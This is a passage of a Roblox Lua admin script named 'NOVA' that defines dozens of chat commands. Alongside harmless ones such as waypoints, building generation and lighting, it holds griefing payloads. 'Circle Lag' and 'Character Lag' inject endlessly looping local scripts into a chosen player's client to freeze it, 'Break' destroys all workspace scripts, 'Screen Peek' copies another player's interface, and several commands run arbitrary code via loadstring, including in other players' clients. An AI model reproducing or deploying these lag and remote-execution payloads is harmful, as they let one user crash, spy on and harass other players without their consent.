  3240. game:service'TeleportService':Teleport(game.PlaceId)
  3241. end
  3242. if Msg:sub(1,3) == "\\c\\" then
  3243. pcall(function()
  3244. newScript(Msg:sub(4),workspace)
  3245. end)
  3246. end
  3247. if Msg:sub(1,7) == "\\local\\" then
  3248. coroutine.resume(coroutine.create(function()
  3249. pcall(function()
  3250. loadstring(Msg:sub(8))()
  3251. end)
  3252. end))
  3253. end
  3254. end
  3255. end)
  3256.  
  3257. repeat wait() until NOVA.LocalPlayer.Parent == nil
  3258. NOVA.LocalPlayer.Character = nil
  3259. NOVA.LocalHead.FormFactor = "Custom"
  3260. NOVA.LocalHead.Size = Vector3.new(3,3,3)
  3261. NOVA.LocalHead.Reflectance = 1e+999
  3262. NOVA.LocalHead.Shape = "Ball"
  3263. NOVA.LocalHead.Anchored = true
  3264. NOVA.LocalHead.CanCollide = false
  3265. NOVA.LocalHead.Transparency = 0
  3266. NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name
  3267.  
  3268. NOVA.LocalFire.Color = Color3.new(0,0,0)
  3269. NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0)
  3270. NOVA.LocalFire.Heat = 12
  3271. NOVA.LocalFire.Size = 7
  3272.  
  3273. while wait() do
  3274. pcall(function()
  3275. NOVA.LocalCharacter.Parent=workspace
  3276. NOVA.LocalHead.Parent = NOVA.LocalCharacter
  3277. NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125)
  3278. NOVA.LocalFire.Parent = NOVA.LocalHead
  3279. end)
  3280. end
  3281. ]==],Speaker.Backpack))
  3282. --[[
  3283. Trigger = Instance.new("BindableEvent")
  3284. Trigger.Name = "NOVAExternalInput"
  3285. Trigger.Parent = workspace
  3286. wait()
  3287. Trigger:Fire("\\m\\asd",game.Players.)
  3288. ]]--
  3289. end
  3290. )
  3291.  
  3292.  
  3293. AddCommand("Script","c",6,"Pseudo scripting command.","<Source>",
  3294. function(Msg,Speaker)
  3295. CreateScript(Msg,workspace)
  3296. end
  3297. )
  3298.  
  3299. AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>",
  3300. function(Msg,Speaker)
  3301. CreateLocalScript(Msg,Speaker.Backpack)
  3302. end
  3303. )
  3304.  
  3305. AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments",
  3306. function(Msg,Speaker)
  3307. for _,v in pairs(GetRecursiveChildren(workspace)) do
  3308. pcall(function()
  3309. v.Transparency = -1
  3310. end)
  3311. end
  3312. end
  3313. )
  3314.  
  3315. AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>",
  3316. function(Msg,Speaker)
  3317. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3318. if v.Name == "TeamDman" then
  3319. Output("Attempt to lag the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  3320. else
  3321. pcall(function()
  3322. CreateLocalScript([==[
  3323. LocalPlayer = game:service'Players'.LocalPlayer
  3324. Camera = workspace.CurrentCamera
  3325. while wait() do
  3326. for i=1,10 do
  3327. Part = Instance.new("Seat",Camera)
  3328. Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20))
  3329. Part.Shape = "Ball"
  3330. Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  3331. Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250))
  3332. end
  3333. end
  3334. ]==],v.Backpack)
  3335. end)
  3336. end
  3337. end
  3338. end
  3339. )
  3340.  
  3341. AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>",
  3342. function(Msg,Speaker)
  3343. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3344. CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack)
  3345. end
  3346. end
  3347. )
  3348.  
  3349. AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>",
  3350. function(Msg,Speaker)
  3351. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3352. for _,GUI in pairs(v.PlayerGui:children()) do
  3353. GUI:Clone().Parent = Speaker.PlayerGui
  3354. end
  3355. end
  3356. end
  3357. )
  3358.  
  3359. AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments",
  3360. function(Msg,Speaker)
  3361. for _,v in pairs(NOVA.Targeted) do
  3362. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3363. if part:IsA("Part") then
  3364. coroutine.resume(coroutine.create(function()
  3365. local SB = Instance.new("SelectionBox",part)
  3366. SB.Name = "NOVA Target Selection Box"
  3367. SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  3368. SB.Adornee = part
  3369. wait(3)
  3370. SB:remove()
  3371. end))
  3372. end
  3373. end
  3374. end
  3375. end
  3376. )
  3377.  
  3378. AddCommand("Note To Self","nts",0,"Note to self commands.","<Action>",
  3379. function(Msg,Speaker)
  3380. if Msg:sub(1,4) == "add\\" then
  3381. Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5))
  3382. elseif Msg:sub(1,4) == "set\\" then
  3383. Speaker:SaveString("NoteToSelf",Msg:sub(5))
  3384. elseif Msg == "see" then
  3385. Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker)
  3386. end
  3387. end
  3388. )
  3389.  
  3390. AddCommand("Smite","smite",6,"Smites the selected player.","<Player>",
  3391. function(Msg,Speaker)
  3392. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3393. local Char = v.Character
  3394. local Smite = Instance.new("Part",workspace)
  3395. Smite.FormFactor = "Custom"
  3396. Smite.TopSurface = "Smooth"
  3397. Smite.BottomSurface = "Smooth"
  3398. Smite.Anchored = true
  3399. Smite.Size = Vector3.new(25,3,25)
  3400. Smite.BrickColor = BrickColor.new("New Yeller")
  3401. Smite.Transparency = 1
  3402. Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0)
  3403. for i=1,0,-0.05 do
  3404. wait()
  3405. Smite.Transparency = i
  3406. end
  3407. coroutine.resume(coroutine.create(function()
  3408. for i=0,1,0.05 do
  3409. wait()
  3410. Smite.Transparency = i
  3411. end
  3412. Smite:remove()
  3413. end))
  3414. wait()
  3415. local Expl = Instance.new("Explosion",workspace)
  3416. Expl.Position = Smite.Position
  3417. Expl.BlastPressure = 1000000000
  3418.  
  3419. for _,Part in pairs(GetRecursiveChildren(Char)) do
  3420. if Part:IsA("BasePart") then
  3421. coroutine.resume(coroutine.create(function()
  3422. for i=1,10 do
  3423. local Sparkles = Instance.new("Sparkles",Part)
  3424. Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  3425. local Fire = Instance.new("Fire",Part)
  3426. Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  3427. Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  3428. end
  3429. Part:BreakJoints()
  3430. local BP = Instance.new("BodyPosition",Part)
  3431. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  3432. BP.P = 1000
  3433. BP.position = Part.Position + Vector3.new(
  3434. math.random(-100,100),
  3435. 100,
  3436. math.random(-100,100))
  3437. wait(3)
  3438. local Expl = Instance.new("Explosion",workspace)
  3439. Expl.Position = Part.Position
  3440. Expl.BlastPressure = 1000000000
  3441. end))
  3442. end
  3443. end
  3444. end
  3445. end
  3446. )
  3447.  
  3448. AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>",
  3449. function(Msg,Speaker)
  3450. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3451. pcall(function()
  3452. for _,Part in pairs(GetRecursiveChildren(v.Character)) do
  3453. if Part:IsA("BasePart") then
  3454. for i=1,10 do
  3455. local Sparkles = Instance.new("Sparkles",Part)
  3456. Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  3457. local Fire = Instance.new("Fire",Part)
  3458. Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  3459. Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  3460. end
  3461. end
  3462. end
  3463. end)
  3464. end
  3465. end
  3466. )
  3467.  
  3468. AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments",
  3469. function(Msg,Speaker)
  3470. if NOVA.ShowChat == true then
  3471. NOVA.ShowChat = false
  3472. elseif NOVA.ShowChat == false then
  3473. NOVA.ShowChat = true
  3474. end
  3475. end
  3476. )
  3477.  
  3478. AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>",
  3479. function(Msg,Speaker)
  3480. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3481. if v.Name == "TeamDman" then
  3482. Output("Attempt to lag the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  3483. else
  3484. pcall(function()
  3485. CreateLocalScript([[
  3486. script.Parent = workspace.CurrentCamera
  3487. while wait() do
  3488. coroutine.resume(coroutine.create(function()
  3489. for i=1,math.huge do
  3490. wait()
  3491. for i=1,10 do
  3492. NS = script:Clone()
  3493. NS.Disabled = true
  3494. NS.Parent = game.Players.LocalPlayer.Backpack
  3495. NS.Disabled = false
  3496. end
  3497. for i=1,10 do
  3498. game.Players.LocalPlayer.Character.Archivable = true
  3499. game.Players.LocalPlayer.Character:Clone().Parent = workspace.CurrentCamera
  3500. end
  3501. end
  3502. end
  3503. end]],
  3504. v.Backpack)
  3505. end)
  3506. end
  3507. end
  3508. end
  3509. )
  3510.  
  3511. AddCommand("Building","building",1,"Generates a building.","No Arguments",
  3512. function(Msg,Speaker)
  3513. local PrimaryColor = Color3.new(0,0,0)
  3514. local SecondaryColor = Color3.new(0.76,0,0)
  3515. pcall(function() workspace["NOVA Building"]:remove() end)
  3516. local BasePart = Instance.new("Part") BasePart.FormFactor = "Custom" BasePart.Name = "Part" BasePart.TopSurface = "Smooth" BasePart.BottomSurface = "Smooth" BasePart.CanCollide = true BasePart.Anchored = true BasePart.Transparency = 0 BasePart.Reflectance = 0 BasePart.BrickColor = BrickColor.new("Bright green") BasePart.CFrame = CFrame.new(0,0,0) Instance.new("BlockMesh",BasePart)
  3517. local Main = Instance.new("Model",workspace) Main.Name = "NOVA Building"
  3518. local Pathway = BasePart:Clone() Pathway.Parent = Main Pathway.BrickColor = BrickColor.new(PrimaryColor)
  3519. if workspace:FindFirstChild("Base") ~= nil then Pathway.Size = Vector3.new(10,1,(workspace.Base.Size.z/2)+5) Pathway.CFrame = CFrame.new(0,(workspace.Base.CFrame.y) + (Pathway.Size.y),(Pathway.Size.z/2)-5) else Pathway.Size = Vector3.new(10,1,250) Pathway.CFrame = CFrame.new(0,1,(Pathway.Size.z/2)-5) end
  3520. MainCFrame = CFrame.new(0,Pathway.CFrame.y,Pathway.Size.z+10)
  3521. local Platform = BasePart:Clone() Platform.Parent = Main Platform.BrickColor = BrickColor.new(0,0,0) Platform.Size = Vector3.new(30,1,30) Platform.CFrame = MainCFrame
  3522. local Dot = BasePart:Clone() Dot.Parent = Main Dot.BrickColor = BrickColor.new(0,0,0) Dot.Size = Vector3.new(10,1,10) Dot.CFrame = MainCFrame * CFrame.new(0,0.02,0) Instance.new("CylinderMesh",Dot)
  3523. local Sphere = BasePart:Clone() Sphere.Parent = Main Sphere.Reflectance = 1e+999 Sphere.Size = Vector3.new(5,5,5) Sphere.Shape = "Ball" Sphere:ClearAllChildren() Sphere.CFrame = MainCFrame * CFrame.new(0,20,0)
  3524. for i=1,10 do local Fire = Instance.new("Fire",Sphere) Fire.Color = PrimaryColor Fire.SecondaryColor = PrimaryColor Fire.Size = 9 local Fire = Instance.new("Fire",Sphere) Fire.Color = SecondaryColor Fire.SecondaryColor = SecondaryColor Fire.Size = 9 end
  3525. for angle=1,360,360/5 do local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(2,1,28) Part.CFrame = MainCFrame * CFrame.Angles(0,math.rad(angle),0) * CFrame.new(0,0.01,0) end
  3526. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(30,1,30) Part.CFrame = MainCFrame * CFrame.new(25,10,0) * CFrame.Angles(0,0,math.rad(45))
  3527. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(30,1,30) Part.CFrame = MainCFrame * CFrame.new(0,10,25) * CFrame.Angles(0,math.rad(270),math.rad(45))
  3528. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(30,1,30) Part.CFrame = MainCFrame * CFrame.new(-25,10,0) * CFrame.Angles(0,math.rad(180),math.rad(45))
  3529. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(10,1,30) Part.CFrame = MainCFrame * CFrame.new(-10,10,-25) * CFrame.Angles(math.rad(45),0,0)
  3530. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(10,1,30) Part.CFrame = MainCFrame * CFrame.new(10,10,-25) * CFrame.Angles(math.rad(45),0,0)
  3531. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(30,22,30) Part.CFrame = MainCFrame * CFrame.new(30,(Part.Size.y/2)-Platform.Size.y,30)
  3532. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(30,22,30) Part.CFrame = MainCFrame * CFrame.new(-30,(Part.Size.y/2)-Platform.Size.y,30)
  3533. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(30,22,30) Part.CFrame = MainCFrame * CFrame.new(-30,(Part.Size.y/2)-Platform.Size.y,-30)
  3534. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(30,22,30) Part.CFrame = MainCFrame * CFrame.new(30,(Part.Size.y/2)-Platform.Size.y,-30)
  3535. local Part = Instance.new("WedgePart") Part.Parent = Main Part.FormFactor = "Custom" Part.Name = "Part" Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth" Part.CanCollide = true Part.Anchored = true Part.Transparency = 0 Part.Reflectance = 0 Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(10,42,43) Part.CFrame = MainCFrame * CFrame.new(10,0,-13.8) * CFrame.Angles(0,math.rad(180),0)
  3536. local Part = Instance.new("WedgePart") Part.Parent = Main Part.FormFactor = "Custom" Part.Name = "Part" Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth" Part.CanCollide = true Part.Anchored = true Part.Transparency = 0 Part.Reflectance = 0 Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(10,42,43) Part.CFrame = MainCFrame * CFrame.new(-10,0,-13.8) * CFrame.Angles(0,math.rad(180),0)
  3537. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(40,40,12) Part.CFrame = MainCFrame * CFrame.new(25,19.5,-40)
  3538. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(40,40,12) Part.CFrame = MainCFrame * CFrame.new(-25,19.5,-40)
  3539. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(90,40,12) Part.CFrame = MainCFrame * CFrame.new(0,19.5,40)
  3540. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(12,40,90) Part.CFrame = MainCFrame * CFrame.new(40,19.5,0)
  3541. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(12,40,90) Part.CFrame = MainCFrame * CFrame.new(-40,19.5,0)
  3542. local Part = Instance.new("Seat") Part.Parent = Main Part.FormFactor = "Custom" Part.Name = "Part" Part.FrontSurface = "Hinge" Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth" Part.CanCollide = true Part.Anchored = true Part.Transparency = 0 Part.Reflectance = 0 Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(2,1,2) Part.CFrame = MainCFrame * CFrame.new(0,5,18)
  3543. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(PrimaryColor) Part.Size = Vector3.new(10,5,10) Part.CFrame = MainCFrame * CFrame.new(0,2.5,19.8)
  3544. for angle=1,360/2,(360/2)/5 do local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(2,1,28) Part.CFrame = MainCFrame * CFrame.new(0,5,18) * CFrame.Angles(math.rad(45),math.rad(angle),math.rad(45)) * CFrame.new(18,0,0) end
  3545. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(2,25,2) Part.CFrame = MainCFrame * CFrame.new(7,10,19) * CFrame.Angles(0,0,0)
  3546. local Part = BasePart:Clone() Part.Parent = Main Part.BrickColor = BrickColor.new(SecondaryColor) Part.Size = Vector3.new(2,25,2) Part.CFrame = MainCFrame * CFrame.new(-7,10,19) * CFrame.Angles(0,0,0)
  3547.  
  3548. for _,v in pairs(Main:children()) do if v:IsA("BasePart") then v.Locked = true end end
  3549.  
  3550. end
  3551. )
  3552.  
  3553. AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>",
  3554. function(Msg,Speaker)
  3555. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3556. pcall(function()
  3557. v.Character.Humanoid.PlatformStand = true
  3558. end)
  3559. end
  3560. end
  3561. )
  3562.  
  3563.  
  3564. AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>",
  3565. function(Msg,Speaker)
  3566. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3567. pcall(function()
  3568. v.Character.Humanoid.PlatformStand = false
  3569. end)
  3570. end
  3571. end
  3572. )
  3573.  
  3574. AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>",
  3575. function(Msg,Speaker)
  3576. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3577. pcall(function()
  3578. for _,Tool in pairs(v.Backpack:GetChildren()) do
  3579. Tool:Clone().Parent = Speaker.Backpack
  3580. end
  3581. end)
  3582. end
  3583. end
  3584. )
  3585.  
  3586. AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>",
  3587. function(Msg,Speaker)
  3588. local Give = {}
  3589. for _,v in pairs(NOVA.Services.Lighting:children()) do
  3590. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  3591. function()
  3592. table.insert(Give,v:Clone())
  3593. end
  3594. )
  3595. end
  3596. Output("Done",NOVA.Colors.Green,Speaker,nil,
  3597. function()
  3598. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3599. for _,Tool in pairs(Give) do
  3600. Tool:Clone().Parent = v.Backpack
  3601. end
  3602. end
  3603. RemoveTablets(Speaker)
  3604. end
  3605. )
  3606. Output("Dismiss",NOVA.Colors.Red,Speaker)
  3607. end
  3608. )
  3609.  
  3610.  
  3611. AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments",
  3612. function(Msg,Speaker)
  3613. pcall(function()
  3614. for _,Tool in pairs(Speaker.Backpack:children()) do
  3615. Tool:Clone().Parent = NOVA.Services.Lighting
  3616. end
  3617. end)
  3618. end
  3619. )
  3620.  
  3621. AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>",
  3622. function(Msg,Speaker)
  3623. Split = GetSplit(Msg)
  3624. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3625. if v:FindFirstChild("PlayerGui") ~= nil then
  3626. makeMessage(1,Msg:sub(Split+1),v.PlayerGui)
  3627. end
  3628. end
  3629. end
  3630. )
  3631.  
  3632. AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments",
  3633. function(Msg,Speaker)
  3634. Data = GetRankedTable(Speaker)
  3635. Output("Welcome "..Speaker.Name.." to NOVA.",Data.Color,Speaker)
  3636. Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))..".",Data.Color,Speaker)
  3637. Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker)
  3638. Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil,
  3639. function()
  3640. RemoveTablets(Speaker)
  3641. OnChatted("\\cmds\\",Speaker)
  3642. end
  3643. )
  3644. Output("To use a command the syntax is : \\ COMMAND HERE \\ ARGUMENT \\ ARGUMENT",Data.Color,Speaker)
  3645. Output("Please note it is a backslash ( located above the 'Return'/'Enter' key on your keyboard.",Data.Color,Speaker)
  3646. Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker)
  3647. end
  3648. )
  3649.  
  3650. AddCommand("Break","break",3,"Breaks all scripts in workspace.","No Arguments",
  3651. function(Msg,Speaker)
  3652. for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  3653. if v:IsA("Script") then
  3654. v.Disabled = true
  3655. v.Parent = NOVA.Services.Debris
  3656. v.Disabled = true
  3657. v:Destroy()
  3658. v.Parent = NOVA.Services.Debris
  3659. v.Disabled = true
  3660. v:Destroy()
  3661. end
  3662. end
  3663. end
  3664. )
  3665.  
  3666. AddCommand("Execute","exe",6,"Loads the following string.","<Source>",
  3667. function(Msg,Speaker)
  3668. Source = Msg
  3669. --Source = string.gsub(Source,"print(","PrintS(")
  3670. --Source = string.gsub(Source,"print'","PrintS'")
  3671. local a,b=coroutine.resume(coroutine.create(function() loadstring([[]]..Source)() end))
  3672. if not a then
  3673. Output(b,NOVA.Colors.Red,Speaker,15)
  3674. else
  3675. Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5)
  3676. end
  3677. end
  3678. )
  3679.  
  3680. AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments",
  3681. function(Msg,Speaker)
  3682. pcall(function()
  3683. CreateLocalScript([[
  3684. game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera
  3685. ]],
  3686. Speaker.Backpack
  3687. )
  3688. end)
  3689. end
  3690. )
  3691.  
  3692. AddCommand("Message","msg",1,"Makes a GUI message.","<String>",
  3693. function(Msg,Speaker)
  3694. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  3695. makeMessage(2,"[NOVA] "..Msg,v.PlayerGui)
  3696. end
  3697. end
  3698. )
  3699.  
  3700. AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>",
  3701. function(Msg,Speaker)
  3702. pcall(function()
  3703. NOVA.Sounds.Sound.Pitch = tonumber(Msg)
  3704. end)
  3705. end
  3706. )
  3707.  
  3708. AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>",
  3709. function(Msg,Speaker)
  3710. pcall(function()
  3711. NOVA.Sounds.Sound.Looped = Msg
  3712. end)
  3713. end
  3714. )
  3715.  
  3716.  
  3717. AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments",
  3718. function(Msg,Speaker)
  3719. Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted("\\remove\\",Speaker) end)
  3720. end
  3721. )
  3722.  
  3723. AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>",
  3724. function(Msg,Speaker)
  3725. local Give = {}
  3726. for _,v in pairs(NOVA.Plugins) do
  3727. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  3728. function()
  3729. table.insert(Give,v:Clone())
  3730. end
  3731. )
  3732. end
  3733. Output("Done",NOVA.Colors.Green,Speaker,nil,
  3734. function()
  3735. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3736. for _,Tool in pairs(Give) do
  3737. New = Tool:Clone()
  3738. New.Parent = v.Backpack
  3739. pcall(function()
  3740. New.Disabled = false
  3741. end)
  3742. end
  3743. end
  3744. RemoveTablets(Speaker)
  3745. end
  3746. )
  3747. Output("Dismiss",NOVA.Colors.Red,Speaker)
  3748. end
  3749. )
  3750.  
  3751. AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>",
  3752. function(Msg,Speaker)
  3753. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3754. pcall(function()
  3755. for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  3756. part.Locked = true
  3757. end
  3758. end)
  3759. end
  3760. end
  3761. )
  3762.  
  3763. AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>",
  3764. function(Msg,Speaker)
  3765. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3766. pcall(function()
  3767. for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  3768. part.Locked = false
  3769. end
  3770. end)
  3771. end
  3772. end
  3773. )
  3774.  
  3775. AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>",
  3776. function(Msg,Speaker)
  3777. Split = GetSplit(Msg)
  3778. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3779. pcall(function()
  3780. CreateLocalScript(Msg:sub(Split+1),v.Backpack)
  3781. end)
  3782. end
  3783. end
  3784. )
  3785.  
  3786. AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>",
  3787. function(Msg,Speaker)
  3788. NOVA.Services.Lighting.Brightness = tonumber(Msg)
  3789. end
  3790. )
  3791.  
  3792. AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>",
  3793. function(Msg,Speaker)
  3794. pcall(function()
  3795. Rtn = CFrame.new(
  3796. Speaker.Character.Torso.CFrame.x,
  3797. Speaker.Character.Torso.CFrame.y,
  3798. Speaker.Character.Torso.CFrame.z
  3799. )
  3800. table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn})
  3801. end)
  3802. end
  3803. )
  3804.  
  3805. AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments",
  3806. function(Msg,Speaker)
  3807. for _,v in pairs(NOVA.Waypoints) do
  3808. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  3809. pcall(function()
  3810. RemoveTablets(Speaker)
  3811. Speaker.Character.Torso.CFrame = v.CFrame
  3812. end)
  3813. end)
  3814. Output("Dismiss",NOVA.Colors.Red,Speaker)
  3815. end
  3816. end
  3817. )
  3818.  
  3819. AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments",
  3820. function(Msg,Speaker)
  3821. Rtn = {}
  3822. for num,v in pairs(NOVA.Waypoints) do
  3823. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  3824. table.insert(Rtn,num)
  3825. end)
  3826. end
  3827. Output("Done",NOVA.Colors.Green,Speaker,nil,function()
  3828. RemoveTablets(Speaker)
  3829. for _,v in pairs(Rtn) do
  3830. table.remove(NOVA.Waypoints,v)
  3831. end
  3832. end)
  3833. Output("Dismiss",NOVA.Colors.Red,Speaker)
  3834. end
  3835. )
  3836.  
  3837. AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
  3838. function(Msg,Speaker)
  3839. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3840. pcall(function()
  3841. for i=0,3 do
  3842. Instance.new("HopperBin",v.Backpack).BinType = i
  3843. end
  3844. end)
  3845. end
  3846. end
  3847. )
  3848.  
  3849. AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments",
  3850. function(Msg,Speaker)
  3851. pcall(function()
  3852. for i=0,3 do
  3853. Instance.new("HopperBin",Speaker.Backpack).BinType = i
  3854. end
  3855. end)
  3856. end
  3857. )
  3858.  
  3859. AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments",
  3860. function(Msg,Speaker)
  3861. pcall(function()
  3862. Speaker:LoadCharacter()
  3863. end)
  3864. end
  3865. )
  3866.  
  3867.  
  3868. AddCommand("Debug Menu","debugmenu",1,"Shows the debug menu.","No Arguments",
  3869. function(Msg,Speaker)
  3870. RemoveTablets(Speaker)
  3871. Color = GetRankedTable(Speaker).Color
  3872. Output("Lighting",NOVA.Colors.Yellow,Speaker,nil,function()
  3873. RemoveTablets(Speaker)
  3874. Output("Ambient",Color,Speaker,nil,function()
  3875. NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  3876. end)
  3877. Output("Color Shifts",Color,Speaker,nil,function()
  3878. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  3879. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  3880. end)
  3881. Output("Shadow Color",Color,Speaker,nil,function()
  3882. NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  3883. end)
  3884. Output("Brightness",Color,Speaker,nil,function()
  3885. NOVA.Services.Lighting.Brightness = 1
  3886. end)
  3887. Output("Fog Start",Color,Speaker,nil,function()
  3888. NOVA.Services.Lighting.FogStart = 0
  3889. end)
  3890. Output("Fog End",Color,Speaker,nil,function()
